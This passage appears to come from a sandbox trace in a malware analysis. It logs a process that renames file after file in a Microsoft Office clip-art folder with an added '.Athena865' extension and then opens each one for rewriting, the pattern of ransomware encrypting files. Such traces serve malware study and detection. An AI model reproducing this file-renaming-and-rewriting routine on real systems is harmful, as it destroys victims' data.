Office\\CLIPART\\PUB60COR\\SO02028_.WMF.Athena865") returned 73 [0134.840] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02028_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02028_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02028_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.841] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9416) returned 1 [0134.844] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02045_.WMF" | out: lpString1="SO02045_.WMF") returned="SO02045_.WMF" [0134.844] lstrlenW (lpString="SO02045_.WMF") returned 12 [0134.844] lstrlenW (lpString="Athena865") returned 9 [0134.844] lstrcmpiW (lpString1="2045_.WMF", lpString2="Athena865") returned -1 [0134.844] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF.Athena865") returned 73 [0134.844] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02045_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02045_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02045_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.846] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9836) returned 1 [0134.851] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02048_.WMF" | out: lpString1="SO02048_.WMF") returned="SO02048_.WMF" [0134.851] lstrlenW (lpString="SO02048_.WMF") returned 12 [0134.851] lstrlenW (lpString="Athena865") returned 9 [0134.851] lstrcmpiW (lpString1="2048_.WMF", lpString2="Athena865") returned -1 [0134.851] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF.Athena865") returned 73 [0134.851] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02048_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02048_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02048_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.853] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8158) returned 1 [0134.857] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02051_.WMF" | out: lpString1="SO02051_.WMF") returned="SO02051_.WMF" [0134.857] lstrlenW (lpString="SO02051_.WMF") returned 12 [0134.857] lstrlenW (lpString="Athena865") returned 9 [0134.857] lstrcmpiW (lpString1="2051_.WMF", lpString2="Athena865") returned -1 [0134.857] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF.Athena865") returned 73 [0134.857] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02051_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02051_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02051_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.859] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11308) returned 1 [0134.864] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02054_.WMF" | out: lpString1="SO02054_.WMF") returned="SO02054_.WMF" [0134.864] lstrlenW (lpString="SO02054_.WMF") returned 12 [0134.864] lstrlenW (lpString="Athena865") returned 9 [0134.864] lstrcmpiW (lpString1="2054_.WMF", lpString2="Athena865") returned -1 [0134.869] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF.Athena865") returned 73 [0134.869] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02054_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02054_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02054_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.871] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12490) returned 1 [0134.874] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02055_.WMF" | out: lpString1="SO02055_.WMF") returned="SO02055_.WMF" [0134.874] lstrlenW (lpString="SO02055_.WMF") returned 12 [0134.874] lstrlenW (lpString="Athena865") returned 9 [0134.874] lstrcmpiW (lpString1="2055_.WMF", lpString2="Athena865") returned -1 [0134.875] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF.Athena865") returned 73 [0134.875] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02055_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02055_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02055_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.876] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19532) returned 1 [0134.879] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02067_.WMF" | out: lpString1="SO02067_.WMF") returned="SO02067_.WMF" [0134.879] lstrlenW (lpString="SO02067_.WMF") returned 12 [0134.879] lstrlenW (lpString="Athena865") returned 9 [0134.879] lstrcmpiW (lpString1="2067_.WMF", lpString2="Athena865") returned -1 [0134.879] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF.Athena865") returned 73 [0134.879] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02067_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02067_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02067_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.881] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14378) returned 1 [0134.892] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02094_.WMF" | out: lpString1="SO02094_.WMF") returned="SO02094_.WMF" [0134.892] lstrlenW (lpString="SO02094_.WMF") returned 12 [0134.892] lstrlenW (lpString="Athena865") returned 9 [0134.892] lstrcmpiW (lpString1="2094_.WMF", lpString2="Athena865") returned -1 [0134.892] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF.Athena865") returned 73 [0134.892] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02094_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02094_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02094_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.893] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6986) returned 1 [0134.896] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02227_.WMF" | out: lpString1="SO02227_.WMF") returned="SO02227_.WMF" [0134.896] lstrlenW (lpString="SO02227_.WMF") returned 12 [0134.897] lstrlenW (lpString="Athena865") returned 9 [0134.897] lstrcmpiW (lpString1="2227_.WMF", lpString2="Athena865") returned -1 [0134.897] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF.Athena865") returned 73 [0134.897] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02227_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02227_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02227_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.898] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1344) returned 1 [0134.901] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02228_.WMF" | out: lpString1="SO02228_.WMF") returned="SO02228_.WMF" [0134.901] lstrlenW (lpString="SO02228_.WMF") returned 12 [0134.901] lstrlenW (lpString="Athena865") returned 9 [0134.902] lstrcmpiW (lpString1="2228_.WMF", lpString2="Athena865") returned -1 [0134.902] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF.Athena865") returned 73 [0134.902] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02228_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02228_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02228_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.903] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=820) returned 1 [0134.906] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02233_.WMF" | out: lpString1="SO02233_.WMF") returned="SO02233_.WMF" [0134.906] lstrlenW (lpString="SO02233_.WMF") returned 12 [0134.906] lstrlenW (lpString="Athena865") returned 9 [0134.906] lstrcmpiW (lpString1="2233_.WMF", lpString2="Athena865") returned -1 [0134.906] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF.Athena865") returned 73 [0134.906] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02233_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02233_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02233_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.908] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2304) returned 1 [0134.914] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02252_.WMF" | out: lpString1="SO02252_.WMF") returned="SO02252_.WMF" [0134.914] lstrlenW (lpString="SO02252_.WMF") returned 12 [0134.914] lstrlenW (lpString="Athena865") returned 9 [0134.914] lstrcmpiW (lpString1="2252_.WMF", lpString2="Athena865") returned -1 [0134.914] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF.Athena865") returned 73 [0134.915] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02252_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02252_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02252_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.916] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3720) returned 1 [0134.920] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02253_.WMF" | out: lpString1="SO02253_.WMF") returned="SO02253_.WMF" [0134.920] lstrlenW (lpString="SO02253_.WMF") returned 12 [0134.920] lstrlenW (lpString="Athena865") returned 9 [0134.920] lstrcmpiW (lpString1="2253_.WMF", lpString2="Athena865") returned -1 [0134.920] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF.Athena865") returned 73 [0134.920] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02253_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02253_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02253_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.921] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2272) returned 1 [0134.924] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02261_.WMF" | out: lpString1="SO02261_.WMF") returned="SO02261_.WMF" [0134.924] lstrlenW (lpString="SO02261_.WMF") returned 12 [0134.924] lstrlenW (lpString="Athena865") returned 9 [0134.924] lstrcmpiW (lpString1="2261_.WMF", lpString2="Athena865") returned -1 [0134.924] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF.Athena865") returned 73 [0134.924] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02261_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02261_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02261_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.926] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2072) returned 1 [0134.930] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02263_.WMF" | out: lpString1="SO02263_.WMF") returned="SO02263_.WMF" [0134.930] lstrlenW (lpString="SO02263_.WMF") returned 12 [0134.930] lstrlenW (lpString="Athena865") returned 9 [0134.930] lstrcmpiW (lpString1="2263_.WMF", lpString2="Athena865") returned -1 [0134.930] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF.Athena865") returned 73 [0134.930] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02263_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02263_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02263_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.931] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2708) returned 1 [0134.934] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02265_.WMF" | out: lpString1="SO02265_.WMF") returned="SO02265_.WMF" [0134.934] lstrlenW (lpString="SO02265_.WMF") returned 12 [0134.934] lstrlenW (lpString="Athena865") returned 9 [0134.934] lstrcmpiW (lpString1="2265_.WMF", lpString2="Athena865") returned -1 [0134.934] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF.Athena865") returned 73 [0134.934] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02265_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02265_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02265_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.936] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=908) returned 1 [0134.938] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02268_.WMF" | out: lpString1="SO02268_.WMF") returned="SO02268_.WMF" [0134.938] lstrlenW (lpString="SO02268_.WMF") returned 12 [0134.938] lstrlenW (lpString="Athena865") returned 9 [0134.938] lstrcmpiW (lpString1="2268_.WMF", lpString2="Athena865") returned -1 [0134.938] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF.Athena865") returned 73 [0134.938] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02268_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02268_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02268_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.940] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1564) returned 1 [0134.942] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02269_.WMF" | out: lpString1="SO02269_.WMF") returned="SO02269_.WMF" [0134.942] lstrlenW (lpString="SO02269_.WMF") returned 12 [0134.942] lstrlenW (lpString="Athena865") returned 9 [0134.942] lstrcmpiW (lpString1="2269_.WMF", lpString2="Athena865") returned -1 [0134.943] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF.Athena865") returned 73 [0134.943] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02269_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02269_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02269_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.944] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2800) returned 1 [0134.946] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02270_.WMF" | out: lpString1="SO02270_.WMF") returned="SO02270_.WMF" [0134.947] lstrlenW (lpString="SO02270_.WMF") returned 12 [0134.947] lstrlenW (lpString="Athena865") returned 9 [0134.947] lstrcmpiW (lpString1="2270_.WMF", lpString2="Athena865") returned -1 [0134.947] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF.Athena865") returned 73 [0134.947] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02270_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02270_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02270_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.949] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2664) returned 1 [0134.952] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02276_.WMF" | out: lpString1="SO02276_.WMF") returned="SO02276_.WMF" [0134.952] lstrlenW (lpString="SO02276_.WMF") returned 12 [0134.952] lstrlenW (lpString="Athena865") returned 9 [0134.952] lstrcmpiW (lpString1="2276_.WMF", lpString2="Athena865") returned -1 [0134.952] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF.Athena865") returned 73 [0134.952] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02276_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft 